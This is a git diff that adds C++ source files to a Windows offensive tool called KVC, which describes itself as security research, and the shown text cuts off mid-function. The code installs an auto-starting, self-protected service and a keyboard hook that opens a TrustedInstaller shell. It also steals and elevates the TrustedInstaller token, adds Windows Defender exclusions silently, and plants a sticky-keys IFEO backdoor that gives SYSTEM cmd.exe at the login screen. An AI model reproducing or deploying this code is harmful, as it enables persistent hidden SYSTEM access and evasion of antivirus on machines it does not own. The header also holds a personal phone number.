*PPEB_MINIMAL; + +// Base relocation entry for PE image fix-ups +typedef struct _IMAGE_RELOC_ENTRY +{ + WORD offset : 12; + WORD type : 4; +} IMAGE_RELOC_ENTRY, *PIMAGE_RELOC_ENTRY; + +// PEB access for position-independent code +#if defined(_M_X64) +#define GET_PEB() reinterpret_cast(__readgsqword(0x60)) +#elif defined(_M_ARM64) +#define GET_PEB() reinterpret_cast(__readx18qword(0x60)) +#else +#error "Unsupported architecture" +#endif + +// Entry point export +DLLEXPORT ULONG_PTR WINAPI InitializeSecurityContext(LPVOID lpParameter); + +#endif \ No newline at end of file diff --git a/kvc/ServiceManager.cpp b/kvc/ServiceManager.cpp new file mode 100644 index 0000000..f6bff84 --- /dev/null +++ b/kvc/ServiceManager.cpp @@ -0,0 +1,485 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +#include "ServiceManager.h" +#include "Controller.h" +#include "KeyboardHook.h" +#include "common.h" +#include + +// Service static members +SERVICE_STATUS_HANDLE ServiceManager::s_serviceStatusHandle = nullptr; +SERVICE_STATUS ServiceManager::s_serviceStatus = {}; +HANDLE ServiceManager::s_serviceStopEvent = nullptr; +volatile bool ServiceManager::s_serviceRunning = false; + +// Global service components +static std::unique_ptr g_serviceController = nullptr; +static std::unique_ptr g_keyboardHook = nullptr; + +bool ServiceManager::InstallService(const std::wstring& exePath) noexcept +{ + if (!InitDynamicAPIs()) { + ERROR(L"Failed to initialize service APIs"); + return false; + } + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CREATE_SERVICE); + if (!hSCM) { + ERROR(L"Failed to open Service Control Manager: %d", GetLastError()); + return false; + } + + // Build service command line with --service parameter + std::wstring servicePath = L"\"" + exePath + L"\" --service"; + + SC_HANDLE hService = g_pCreateServiceW( + hSCM, + SERVICE_NAME, + SERVICE_DISPLAY_NAME, + SERVICE_ALL_ACCESS, + SERVICE_WIN32_OWN_PROCESS, + SERVICE_AUTO_START, + SERVICE_ERROR_NORMAL, + servicePath.c_str(), + nullptr, // No load ordering group + nullptr, // No tag identifier + nullptr, // No dependencies + nullptr, // LocalSystem account + nullptr // No password + ); + + if (!hService) { + DWORD error = GetLastError(); + CloseServiceHandle(hSCM); + + if (error == ERROR_SERVICE_EXISTS) { + INFO(L"Service already exists, attempting to update configuration"); + + hService = g_pOpenServiceW(hSCM, SERVICE_NAME, SERVICE_CHANGE_CONFIG); + if (hService) { + BOOL success = ChangeServiceConfigW( + hService, + SERVICE_WIN32_OWN_PROCESS, + SERVICE_AUTO_START, + SERVICE_ERROR_NORMAL, + servicePath.c_str(), + nullptr, nullptr, nullptr, nullptr, nullptr, SERVICE_DISPLAY_NAME + ); + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + + if (success) { + SUCCESS(L"Service configuration updated successfully"); + return true; + } else { + ERROR(L"Failed to update service configuration: %d", GetLastError()); + return false; + } + } + return false; + } + + ERROR(L"Failed to create service: %d", error); + return false; + } + + // Set service description + SERVICE_DESCRIPTIONW serviceDesc = {}; + serviceDesc.lpDescription = const_cast(SERVICE_DESCRIPTION); + ChangeServiceConfig2W(hService, SERVICE_CONFIG_DESCRIPTION, &serviceDesc); + + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + + SUCCESS(L"Service '%s' installed successfully", SERVICE_DISPLAY_NAME); + + // Attempt to start the service + if (StartServiceProcess()) { + SUCCESS(L"Service started successfully"); + } else { + INFO(L"Service installed but failed to start automatically"); + } + + return true; +} + +bool ServiceManager::UninstallService() noexcept +{ + if (!InitDynamicAPIs()) { + ERROR(L"Failed to initialize service APIs"); + return false; + } + + // First try to stop the service + StopServiceProcess(); + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); + if (!hSCM) { + ERROR(L"Failed to open Service Control Manager: %d", GetLastError()); + return false; + } + + SC_HANDLE hService = g_pOpenServiceW(hSCM, SERVICE_NAME, DELETE); + if (!hService) { + DWORD error = GetLastError(); + CloseServiceHandle(hSCM); + + if (error == ERROR_SERVICE_DOES_NOT_EXIST) { + INFO(L"Service does not exist"); + return true; + } + + ERROR(L"Failed to open service for deletion: %d", error); + return false; + } + + BOOL success = g_pDeleteService(hService); + DWORD error = GetLastError(); + + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + + if (!success) { + if (error == ERROR_SERVICE_MARKED_FOR_DELETE) { + SUCCESS(L"Service marked for deletion (will be removed after next reboot)"); + return true; + } + ERROR(L"Failed to delete service: %d", error); + return false; + } + + SUCCESS(L"Service '%s' uninstalled successfully", SERVICE_DISPLAY_NAME); + return true; +} + +bool ServiceManager::StartServiceProcess() noexcept +{ + if (!InitDynamicAPIs()) return false; + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); + if (!hSCM) return false; + + SC_HANDLE hService = g_pOpenServiceW(hSCM, SERVICE_NAME, SERVICE_START); + if (!hService) { + CloseServiceHandle(hSCM); + return false; + } + + BOOL success = g_pStartServiceW(hService, 0, nullptr); + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + + return success || GetLastError() == ERROR_SERVICE_ALREADY_RUNNING; +} + +bool ServiceManager::StopServiceProcess() noexcept +{ + if (!InitDynamicAPIs()) return false; + + SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); + if (!hSCM) return false; + + SC_HANDLE hService = g_pOpenServiceW(hSCM, SERVICE_NAME, SERVICE_STOP); + if (!hService) { + CloseServiceHandle(hSCM); + return false; + } + + SERVICE_STATUS status; + BOOL success = g_pControlService(hService, SERVICE_CONTROL_STOP, &status); + + CloseServiceHandle(hService); + CloseServiceHandle(hSCM); + + return success || GetLastError() == ERROR_SERVICE_NOT_ACTIVE; +} + +int ServiceManager::RunAsService() noexcept +{ + // Enable debug output to Event Log for service debugging + AllocConsole(); + freopen_s((FILE**)stdout, "CONOUT$", "w", stdout); + freopen_s((FILE**)stderr, "CONOUT$", "w", stderr); + + INFO(L"SERVICE MODE: Starting service dispatcher..."); + + // Service table for dispatcher + SERVICE_TABLE_ENTRYW serviceTable[] = { + { const_cast(SERVICE_NAME), ServiceMain }, + { nullptr, nullptr } + }; + + // Start service control dispatcher + if (!StartServiceCtrlDispatcherW(serviceTable)) { + ERROR(L"SERVICE MODE: StartServiceCtrlDispatcher failed: %d", GetLastError()); + return 1; + } + + INFO(L"SERVICE MODE: Service dispatcher completed"); + return 0; +} + +VOID WINAPI ServiceManager::ServiceMain(DWORD argc, LPWSTR* argv) +{ + INFO(L"SERVICE: ServiceMain entry point reached"); + + // Register service control handler + s_serviceStatusHandle = RegisterServiceCtrlHandlerW(SERVICE_NAME, ServiceCtrlHandler); + if (!s_serviceStatusHandle) { + ERROR(L"SERVICE: RegisterServiceCtrlHandler failed: %d", GetLastError()); + return; + } + + INFO(L"SERVICE: Control handler registered successfully"); + + // Initialize service status + s_serviceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS; + s_serviceStatus.dwCurrentState = SERVICE_START_PENDING; + s_serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN; + s_serviceStatus.dwWin32ExitCode = NO_ERROR; + s_serviceStatus.dwServiceSpecificExitCode = 0; + s_serviceStatus.dwCheckPoint = 0; + s_serviceStatus.dwWaitHint = 5000; + + SetServiceStatus(SERVICE_START_PENDING, NO_ERROR, 5000); + INFO(L"SERVICE: Status set to START_PENDING"); + + // Create stop event + s_serviceStopEvent = CreateEvent(nullptr, TRUE, FALSE, nullptr); + if (!s_serviceStopEvent) { + ERROR(L"SERVICE: Failed to create service stop event: %d", GetLastError()); + SetServiceStatus(SERVICE_STOPPED, GetLastError()); + return; + } + + INFO(L"SERVICE: Stop event created successfully"); + + // SET RUNNING FLAG BEFORE INITIALIZING COMPONENTS + s_serviceRunning = true; + INFO(L"SERVICE: Service running flag set to TRUE"); + + // Initialize service components + if (!InitializeServiceComponents()) { + ERROR(L"SERVICE: Failed to initialize service components"); + SetServiceStatus(SERVICE_STOPPED, ERROR_SERVICE_SPECIFIC_ERROR); + ServiceCleanup(); + return; + } + + INFO(L"SERVICE: Components initialized successfully"); + + // Create worker thread + HANDLE hWorkerThread = CreateThread(nullptr, 0, ServiceWorkerThread, nullptr, 0, nullptr); + if (!hWorkerThread) { + ERROR(L"SERVICE: Failed to create worker thread: %d", GetLastError()); + SetServiceStatus(SERVICE_STOPPED, GetLastError()); + ServiceCleanup(); + return; + } + + INFO(L"SERVICE: Worker thread created successfully"); + + // Service is now running + SetServiceStatus(SERVICE_RUNNING); + SUCCESS(L"SERVICE: Kernel Vulnerability Capabilities Framework service started successfully"); + + // Wait for stop signal + INFO(L"SERVICE: Waiting for worker thread completion..."); + WaitForSingleObject(hWorkerThread, INFINITE); + CloseHandle(hWorkerThread); + + INFO(L"SERVICE: Worker thread completed, performing cleanup..."); + + // Cleanup and exit + ServiceCleanup(); + SetServiceStatus(SERVICE_STOPPED); + + INFO(L"SERVICE: ServiceMain exiting"); +} + +VOID WINAPI ServiceManager::ServiceCtrlHandler(DWORD ctrlCode) +{ + switch (ctrlCode) { + case SERVICE_CONTROL_STOP: + case SERVICE_CONTROL_SHUTDOWN: + INFO(L"SERVICE: Stop/shutdown requested"); + SetServiceStatus(SERVICE_STOP_PENDING, NO_ERROR, 5000); + s_serviceRunning = false; + if (s_serviceStopEvent) { + SetEvent(s_serviceStopEvent); + } + break; + + case SERVICE_CONTROL_INTERROGATE: + SetServiceStatus(s_serviceStatus.dwCurrentState); + break; + + default: + INFO(L"SERVICE: Unknown control code received: %d", ctrlCode); + break; + } +} + +DWORD WINAPI ServiceManager::ServiceWorkerThread(LPVOID param) +{ + INFO(L"SERVICE WORKER: Thread started, running flag = %s", s_serviceRunning ? L"TRUE" : L"FALSE"); + + DWORD loopCount = 0; + + // Main service loop + while (s_serviceRunning) { + loopCount++; + + if (loopCount % 12 == 0) { // Every minute (12 * 5 seconds) + INFO(L"SERVICE WORKER: Heartbeat - loop iteration %d", loopCount); + } + + // Wait for stop event with timeout for periodic tasks + DWORD waitResult = WaitForSingleObject(s_serviceStopEvent, 5000); + + if (waitResult == WAIT_OBJECT_0) { + INFO(L"SERVICE WORKER: Stop event signaled"); + break; + } + + if (waitResult == WAIT_TIMEOUT) { + // Normal timeout, continue loop + continue; + } + + if (waitResult == WAIT_FAILED) { + ERROR(L"SERVICE WORKER: WaitForSingleObject failed: %d", GetLastError()); + break; + } + } + + INFO(L"SERVICE WORKER: Thread exiting after %d iterations", loopCount); + return 0; +} + +bool ServiceManager::SetServiceStatus(DWORD currentState, DWORD exitCode, DWORD waitHint) noexcept +{ + static DWORD checkPoint = 1; + + s_serviceStatus.dwCurrentState = currentState; + s_serviceStatus.dwWin32ExitCode = exitCode; + s_serviceStatus.dwWaitHint = waitHint; + + if (currentState == SERVICE_START_PENDING || currentState == SERVICE_STOP_PENDING) { + s_serviceStatus.dwCheckPoint = checkPoint++; + } else { + s_serviceStatus.dwCheckPoint = 0; + } + + BOOL result = ::SetServiceStatus(s_serviceStatusHandle, &s_serviceStatus); + + const wchar_t* stateName = L"UNKNOWN"; + switch (currentState) { + case SERVICE_START_PENDING: stateName = L"START_PENDING"; break; + case SERVICE_RUNNING: stateName = L"RUNNING"; break; + case SERVICE_STOP_PENDING: stateName = L"STOP_PENDING"; break; + case SERVICE_STOPPED: stateName = L"STOPPED"; break; + } + + INFO(L"SERVICE: Status set to %s, result = %s", stateName, result ? L"SUCCESS" : L"FAILED"); + + return result != FALSE; +} + +bool ServiceManager::InitializeServiceComponents() noexcept +{ + INFO(L"SERVICE INIT: Starting component initialization..."); + + try { + // Initialize controller with atomic operations + INFO(L"SERVICE INIT: Creating Controller instance..."); + g_serviceController = std::make_unique(); + INFO(L"SERVICE INIT: Controller created successfully"); + + // Self-protect the service with PP-WinTcb + INFO(L"SERVICE INIT: Attempting self-protection with PP-WinTcb..."); + if (!g_serviceController->SelfProtect(L"PP", L"WinTcb")) { + ERROR(L"SERVICE INIT: Failed to set service self-protection to PP-WinTcb"); + // Continue anyway - protection failure is not critical for basic operation + } else { + SUCCESS(L"SERVICE INIT: Service protected with PP-WinTcb"); + } + + // Initialize keyboard hook for 5x Left Ctrl - THIS IS OPTIONAL + INFO(L"SERVICE INIT: Attempting to install keyboard hook..."); + g_keyboardHook = std::make_unique(); + if (!g_keyboardHook->Install()) { + ERROR(L"SERVICE INIT: Failed to install keyboard hook - continuing without it"); + // Don't fail the service if keyboard hook fails + // Services often can't access interactive desktop + g_keyboardHook.reset(); + } else { + SUCCESS(L"SERVICE INIT: Keyboard hook installed (5x Left Ctrl → TrustedInstaller CMD)"); + } + + INFO(L"SERVICE INIT: Component initialization completed successfully"); + return true; + + } catch (const std::exception& e) { + std::string msg = e.what(); + std::wstring wmsg(msg.begin(), msg.end()); + ERROR(L"SERVICE INIT: Exception during initialization: %s", wmsg.c_str()); + return false; + } catch (...) { + ERROR(L"SERVICE INIT: Unknown exception during initialization"); + return false; + } +} + +void ServiceManager::ServiceCleanup() noexcept +{ + INFO(L"SERVICE CLEANUP: Starting cleanup process..."); + + // Cleanup keyboard hook + if (g_keyboardHook) { + INFO(L"SERVICE CLEANUP: Uninstalling keyboard hook..."); + g_keyboardHook->Uninstall(); + g_keyboardHook.reset(); + INFO(L"SERVICE CLEANUP: Keyboard hook cleanup completed"); + } + + // Cleanup controller (automatic driver cleanup) + if (g_serviceController) { + INFO(L"SERVICE CLEANUP: Cleaning up controller..."); + g_serviceController.reset(); + INFO(L"SERVICE CLEANUP: Controller cleanup completed"); + } + + // Close stop event + if (s_serviceStopEvent) { + INFO(L"SERVICE CLEANUP: Closing stop event..."); + CloseHandle(s_serviceStopEvent); + s_serviceStopEvent = nullptr; + INFO(L"SERVICE CLEANUP: Stop event closed"); + } + + SUCCESS(L"SERVICE CLEANUP: All cleanup completed"); +} \ No newline at end of file diff --git a/kvc/ServiceManager.h b/kvc/ServiceManager.h new file mode 100644 index 0000000..ad0a547 --- /dev/null +++ b/kvc/ServiceManager.h @@ -0,0 +1,45 @@ +#pragma once + +#include "common.h" +#include +#include + +// NT Service management for single-binary deployment +class ServiceManager +{ +public: + ServiceManager() = default; + ~ServiceManager() = default; + + ServiceManager(const ServiceManager&) = delete; + ServiceManager& operator=(const ServiceManager&) = delete; + + // Service lifecycle management + static bool InstallService(const std::wstring& exePath) noexcept; + static bool UninstallService() noexcept; + static bool StartServiceProcess() noexcept; + static bool StopServiceProcess() noexcept; + static int RunAsService() noexcept; + + // Service configuration + static constexpr const wchar_t* SERVICE_NAME = L"KernelVulnerabilityControl"; + static constexpr const wchar_t* SERVICE_DISPLAY_NAME = L"Kernel Vulnerability Capabilities Framework"; + static constexpr const wchar_t* SERVICE_DESCRIPTION = L"Provides kernel-level process protection and vulnerability assessment capabilities"; + +private: + // Service entry points + static VOID WINAPI ServiceMain(DWORD argc, LPWSTR* argv); + static VOID WINAPI ServiceCtrlHandler(DWORD ctrlCode); + static DWORD WINAPI ServiceWorkerThread(LPVOID param); + + // Service state management + static SERVICE_STATUS_HANDLE s_serviceStatusHandle; + static SERVICE_STATUS s_serviceStatus; + static HANDLE s_serviceStopEvent; + static volatile bool s_serviceRunning; + + // Internal helpers + static bool SetServiceStatus(DWORD currentState, DWORD exitCode = NO_ERROR, DWORD waitHint = 0) noexcept; + static void ServiceCleanup() noexcept; + static bool InitializeServiceComponents() noexcept; +}; \ No newline at end of file diff --git a/kvc/TrustedInstallerIntegrator.cpp b/kvc/TrustedInstallerIntegrator.cpp new file mode 100644 index 0000000..9d36d69 --- /dev/null +++ b/kvc/TrustedInstallerIntegrator.cpp @@ -0,0 +1,1128 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +#include "TrustedInstallerIntegrator.h" +#include "common.h" +#include +#include +#include +#include +#include +#include +#include +#include + +namespace fs = std::filesystem; + +#pragma comment(lib, "advapi32.lib") +#pragma comment(lib, "user32.lib") +#pragma comment(lib, "ole32.lib") +#pragma comment(lib, "shell32.lib") + +// Complete system privilege set for maximum access elevation +const LPCWSTR TrustedInstallerIntegrator::ALL_PRIVILEGES[] = { + L"SeAssignPrimaryTokenPrivilege", + L"SeBackupPrivilege", + L"SeRestorePrivilege", + L"SeDebugPrivilege", + L"SeImpersonatePrivilege", + L"SeTakeOwnershipPrivilege", + L"SeLoadDriverPrivilege", + L"SeSystemEnvironmentPrivilege", + L"SeManageVolumePrivilege", + L"SeSecurityPrivilege", + L"SeShutdownPrivilege", + L"SeSystemtimePrivilege", + L"SeTcbPrivilege", + L"SeIncreaseQuotaPrivilege", + L"SeAuditPrivilege", + L"SeChangeNotifyPrivilege", + L"SeUndockPrivilege", + L"SeCreateTokenPrivilege", + L"SeLockMemoryPrivilege", + L"SeCreatePagefilePrivilege", + L"SeCreatePermanentPrivilege", + L"SeSystemProfilePrivilege", + L"SeProfileSingleProcessPrivilege", + L"SeCreateGlobalPrivilege", + L"SeTimeZonePrivilege", + L"SeCreateSymbolicLinkPrivilege", + L"SeIncreaseBasePriorityPrivilege", + L"SeRemoteShutdownPrivilege", + L"SeIncreaseWorkingSetPrivilege" +}; + +const int TrustedInstallerIntegrator::PRIVILEGE_COUNT = sizeof(TrustedInstallerIntegrator::ALL_PRIVILEGES) / sizeof(LPCWSTR); + +// TrustedInstaller token cache with timeout mechanism +static HANDLE g_cachedTrustedInstallerToken = nullptr; +static DWORD g_lastTokenAccessTime = 0; +static const DWORD TOKEN_CACHE_TIMEOUT = 30000; // 30 seconds + +TrustedInstallerIntegrator::TrustedInstallerIntegrator() +{ + CoInitialize(NULL); +} + +TrustedInstallerIntegrator::~TrustedInstallerIntegrator() +{ + CoUninitialize(); + + if (g_cachedTrustedInstallerToken) { + CloseHandle(g_cachedTrustedInstallerToken); + g_cachedTrustedInstallerToken = nullptr; + } +} + +// TrustedInstaller token acquisition with comprehensive privilege elevation +HANDLE TrustedInstallerIntegrator::GetCachedTrustedInstallerToken() { + DWORD currentTime = GetTickCount(); + + // Return cached token if still valid + if (g_cachedTrustedInstallerToken && + (currentTime - g_lastTokenAccessTime) < TOKEN_CACHE_TIMEOUT) { + return g_cachedTrustedInstallerToken; + } + + // Clean up expired token + if (g_cachedTrustedInstallerToken) { + CloseHandle(g_cachedTrustedInstallerToken); + g_cachedTrustedInstallerToken = nullptr; + } + + // Enable required privileges for TrustedInstaller access + if (!EnablePrivilege(L"SeDebugPrivilege")) { + ERROR(L"Failed to enable SeDebugPrivilege"); + return nullptr; + } + if (!EnablePrivilege(L"SeImpersonatePrivilege")) { + ERROR(L"Failed to enable SeImpersonatePrivilege"); + return nullptr; + } + EnablePrivilege(L"SeAssignPrimaryTokenPrivilege"); + + // Impersonate SYSTEM to access TrustedInstaller + if (!ImpersonateSystem()) { + ERROR(L"Failed to impersonate SYSTEM - required for TrustedInstaller access"); + return nullptr; + } + + // Start TrustedInstaller service if needed + DWORD trustedInstallerPid = StartTrustedInstallerService(); + if (!trustedInstallerPid) { + ERROR(L"Failed to start TrustedInstaller service"); + RevertToSelf(); + return nullptr; + } + + // Open TrustedInstaller process + HANDLE hTrustedInstallerProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, trustedInstallerPid); + if (!hTrustedInstallerProcess) { + ERROR(L"Failed to open TrustedInstaller process (error: %d)", GetLastError()); + RevertToSelf(); + return nullptr; + } + + // Open TrustedInstaller token + HANDLE hTrustedInstallerToken; + if (!OpenProcessToken(hTrustedInstallerProcess, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hTrustedInstallerToken)) { + ERROR(L"Failed to open TrustedInstaller token (error: %d)", GetLastError()); + CloseHandle(hTrustedInstallerProcess); + RevertToSelf(); + return nullptr; + } + + // Duplicate token for impersonation + HANDLE hDuplicatedToken; + if (!DuplicateTokenEx(hTrustedInstallerToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, + TokenImpersonation, &hDuplicatedToken)) { + ERROR(L"Failed to duplicate TrustedInstaller token (error: %d)", GetLastError()); + CloseHandle(hTrustedInstallerToken); + CloseHandle(hTrustedInstallerProcess); + RevertToSelf(); + return nullptr; + } + + CloseHandle(hTrustedInstallerToken); + CloseHandle(hTrustedInstallerProcess); + + RevertToSelf(); + + // Enable all possible privileges on the duplicated token + int privilegesEnabled = 0; + for (int i = 0; i < PRIVILEGE_COUNT; i++) { + TOKEN_PRIVILEGES tp; + LUID luid; + + if (LookupPrivilegeValueW(NULL, ALL_PRIVILEGES[i], &luid)) { + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + if (AdjustTokenPrivileges(hDuplicatedToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) { + privilegesEnabled++; + } + } + } + + // Cache the token for future use + g_cachedTrustedInstallerToken = hDuplicatedToken; + g_lastTokenAccessTime = currentTime; + + SUCCESS(L"TrustedInstaller token cached successfully"); + return g_cachedTrustedInstallerToken; +} + +// Enhanced Defender exclusion management with type specification +bool TrustedInstallerIntegrator::AddDefenderExclusion(ExclusionType type, const std::wstring& value) +{ + std::wstring processedValue = value; + + // Type-specific validation and processing + switch (type) { + case ExclusionType::Extensions: + if (!ValidateExtension(value)) { + ERROR(L"Invalid extension format: %s", value.c_str()); + return false; + } + processedValue = NormalizeExtension(value); + break; + + case ExclusionType::IpAddresses: + if (!ValidateIpAddress(value)) { + ERROR(L"Invalid IP address format: %s", value.c_str()); + return false; + } + break; + + case ExclusionType::Processes: + // Extract process name from full path if provided + if (value.find(L'\\') != std::wstring::npos) { + fs::path path(value); + processedValue = path.filename().wstring(); + INFO(L"Extracted process name from path: %s", processedValue.c_str()); + } + break; + + case ExclusionType::Paths: + // No special processing needed for paths + break; + } + + // Escape single quotes for PowerShell + std::wstring escapedValue; + for (wchar_t c : processedValue) { + if (c == L'\'') + escapedValue += L"''"; + else + escapedValue += c; + } + + std::wstring typeStr = GetExclusionTypeString(type); + std::wstring command = L"powershell -Command \"Add-MpPreference -Exclusion" + typeStr + L" '" + escapedValue + L"'\""; + + bool result = RunAsTrustedInstallerSilent(command); + + if (result) { + SUCCESS(L"Successfully added to Windows Defender %s exclusions: %s", typeStr.c_str(), processedValue.c_str()); + } else { + ERROR(L"Failed to add to Windows Defender %s exclusions: %s", typeStr.c_str(), processedValue.c_str()); + } + + return result; +} + +bool TrustedInstallerIntegrator::RemoveDefenderExclusion(ExclusionType type, const std::wstring& value) +{ + std::wstring processedValue = value; + + // Apply same processing as in Add method + switch (type) { + case ExclusionType::Extensions: + processedValue = NormalizeExtension(value); + break; + case ExclusionType::Processes: + if (value.find(L'\\') != std::wstring::npos) { + fs::path path(value); + processedValue = path.filename().wstring(); + } + break; + } + + // Escape single quotes for PowerShell + std::wstring escapedValue; + for (wchar_t c : processedValue) { + if (c == L'\'') + escapedValue += L"''"; + else + escapedValue += c; + } + + std::wstring typeStr = GetExclusionTypeString(type); + std::wstring command = L"powershell -Command \"Remove-MpPreference -Exclusion" + typeStr + L" '" + escapedValue + L"'\""; + + bool result = RunAsTrustedInstallerSilent(command); + + if (result) { + SUCCESS(L"Successfully removed from Windows Defender %s exclusions: %s", typeStr.c_str(), processedValue.c_str()); + } else { + ERROR(L"Failed to remove from Windows Defender %s exclusions: %s", typeStr.c_str(), processedValue.c_str()); + } + + return result; +} + +// Type-specific convenience methods +bool TrustedInstallerIntegrator::AddExtensionExclusion(const std::wstring& extension) +{ + return AddDefenderExclusion(ExclusionType::Extensions, extension); +} + +bool TrustedInstallerIntegrator::RemoveExtensionExclusion(const std::wstring& extension) +{ + return RemoveDefenderExclusion(ExclusionType::Extensions, extension); +} + +bool TrustedInstallerIntegrator::AddIpAddressExclusion(const std::wstring& ipAddress) +{ + return AddDefenderExclusion(ExclusionType::IpAddresses, ipAddress); +} + +bool TrustedInstallerIntegrator::RemoveIpAddressExclusion(const std::wstring& ipAddress) +{ + return RemoveDefenderExclusion(ExclusionType::IpAddresses, ipAddress); +} + +// Validation and helper methods +bool TrustedInstallerIntegrator::ValidateExtension(const std::wstring& extension) noexcept +{ + if (extension.empty()) return false; + + // Check for invalid characters in extensions + const std::wstring invalidChars = L"\\/:*?\"<>|"; + for (wchar_t c : extension) { + if (invalidChars.find(c) != std::wstring::npos) { + return false; + } + } + + return true; +} + +bool TrustedInstallerIntegrator::ValidateIpAddress(const std::wstring& ipAddress) noexcept +{ + if (ipAddress.empty()) return false; + + // Convert to narrow string for validation + std::string narrowIp; + for (wchar_t c : ipAddress) { + if (c > 127) return false; // Non-ASCII character + narrowIp.push_back(static_cast(c)); + } + + // Basic IPv4 validation (supports CIDR notation) + size_t dotCount = 0; + size_t slashPos = narrowIp.find('/'); + std::string ipPart = (slashPos != std::string::npos) ? narrowIp.substr(0, slashPos) : narrowIp; + + for (char c : ipPart) { + if (c == '.') { + dotCount++; + } else if (!std::isdigit(c)) { + return false; + } + } + + // Should have exactly 3 dots for IPv4 + if (dotCount != 3) return false; + + // Validate CIDR suffix if present + if (slashPos != std::string::npos) { + std::string cidr = narrowIp.substr(slashPos + 1); + if (cidr.empty()) return false; + + try { + int cidrValue = std::stoi(cidr); + if (cidrValue < 0 || cidrValue > 32) return false; + } catch (...) { + return false; + } + } + + return true; +} + +std::wstring TrustedInstallerIntegrator::NormalizeExtension(const std::wstring& extension) noexcept +{ + if (extension.empty()) return extension; + + // Add leading dot if missing + if (extension[0] != L'.') { + return L"." + extension; + } + + return extension; +} + +std::wstring TrustedInstallerIntegrator::GetExclusionTypeString(ExclusionType type) noexcept +{ + switch (type) { + case ExclusionType::Paths: return L"Path"; + case ExclusionType::Processes: return L"Process"; + case ExclusionType::Extensions: return L"Extension"; + case ExclusionType::IpAddresses: return L"IpAddress"; + default: return L"Path"; + } +} + +// Sticky keys backdoor installation using IFEO technique +bool TrustedInstallerIntegrator::InstallStickyKeysBackdoor() noexcept +{ + INFO(L"Installing sticky keys backdoor with Defender bypass..."); + + // First add cmd.exe to Defender process exclusions to prevent detection + if (!AddProcessToDefenderExclusions(L"cmd.exe")) { + ERROR(L"Failed to add cmd.exe to Defender process exclusions"); + return false; + } + + // Create IFEO registry entry for sethc.exe + HKEY hKey; + std::wstring keyPath = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe"; + + LONG result = RegCreateKeyExW(HKEY_LOCAL_MACHINE, keyPath.c_str(), 0, NULL, + REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL); + + if (result != ERROR_SUCCESS) { + ERROR(L"Failed to create IFEO registry key: %d", result); + RemoveProcessFromDefenderExclusions(L"cmd.exe"); // Cleanup on failure + return false; + } + + // Set debugger value to cmd.exe + std::wstring debuggerValue = L"cmd.exe"; + result = RegSetValueExW(hKey, L"Debugger", 0, REG_SZ, + reinterpret_cast(debuggerValue.c_str()), + static_cast((debuggerValue.length() + 1) * sizeof(wchar_t))); + + RegCloseKey(hKey); + + if (result != ERROR_SUCCESS) { + ERROR(L"Failed to set Debugger registry value: %d", result); + RemoveProcessFromDefenderExclusions(L"cmd.exe"); // Cleanup on failure + return false; + } + + SUCCESS(L"Sticky keys backdoor installed successfully"); + SUCCESS(L"Press 5x Shift on login screen to get SYSTEM cmd.exe"); + return true; +} + +// Complete removal of sticky keys backdoor +bool TrustedInstallerIntegrator::RemoveStickyKeysBackdoor() noexcept +{ + INFO(L"Removing sticky keys backdoor..."); + + bool success = true; + + // Remove IFEO registry key + std::wstring keyPath = L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe"; + LONG result = RegDeleteKeyW(HKEY_LOCAL_MACHINE, keyPath.c_str()); + + if (result != ERROR_SUCCESS && result != ERROR_FILE_NOT_FOUND) { + ERROR(L"Failed to remove IFEO registry key: %d", result); + success = false; + } else if (result == ERROR_SUCCESS) { + SUCCESS(L"IFEO registry key removed"); + } + + // Remove cmd.exe from Defender process exclusions + if 